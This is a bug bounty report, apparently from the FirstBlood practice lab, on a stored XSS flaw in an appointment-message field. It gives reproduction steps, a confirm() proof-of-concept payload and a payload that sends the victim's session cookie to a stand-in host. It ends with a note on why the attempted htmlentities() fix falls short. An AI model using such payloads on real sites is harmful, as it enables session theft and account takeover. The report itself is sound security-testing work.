FirstBlood-#811Stored XSS on /manageappointment.php can lead to account takeover
This issue was discovered on FirstBlood v2.0.0 (issues patched)

On 2021-10-28, 0xblackbird Level 5 reported:

Hello! I found out that the message of any appointment gets reflected inside the msg variable. We can easily breakout of the context and inject our own Javascript.

Steps to reproduce:

  • First of all, we need to book an appointment. To do so, we need to navigate to /book-appointment.php and fill in all the required fields. Enter the following as the message/extra comment and click on Book Appointment: ';%0aconfirm(document.domain)//

  • Copy the your appointment ID and head over to /yourappointments.php, paste your ID in the Appointment ID field and finally, click on Retrieve Appointment.

  • Once the page loaded, you'll should see a confirm box popup with the domain name


  • An attacker can now send the URL to his victim, the user will visit it and the javascript that was injected will be executed without the user's knowledge. Of course the attacker won't just display a confirm box but wants to leverage the issue. For example, steal the session cookie of the user if he/she is logged in. To do so, we just need to modify our payload: ';%0alet url='http://localhost/?cookie=';var y=new XMLHttpRequest();'GET',url%2BencodeURIComponent(document.cookie),true);y.send();//.

  • Just enter the above payload in the message field and modify your appointment. This will reload your page and you'll need to enter the appointment ID again to retrieve your appointment (or you can just go back and refresh the page).

  • After the page has loaded, and the request has been made, you should see a request coming in with the session cookie.


Kind regards,

P2 High

Endpoint: /manageappointment.php

Parameter: message

Payload: ';%0aconfirm(document.domain)//

FirstBlood ID: 22
Vulnerability Type: Stored XSS

Whilst an attempt was made to fix the stored XSS vulnerability in managing an appointment, it actually introduced new issues such as when creating and editing and not just when cancelling the appointment. Making use of htmlentities() and relying on .value() in javascript to encode certain characters does not prevent XSS overall. The 'fix' to this issue also results in it being vulnerable to admins on cancelled appointments as well.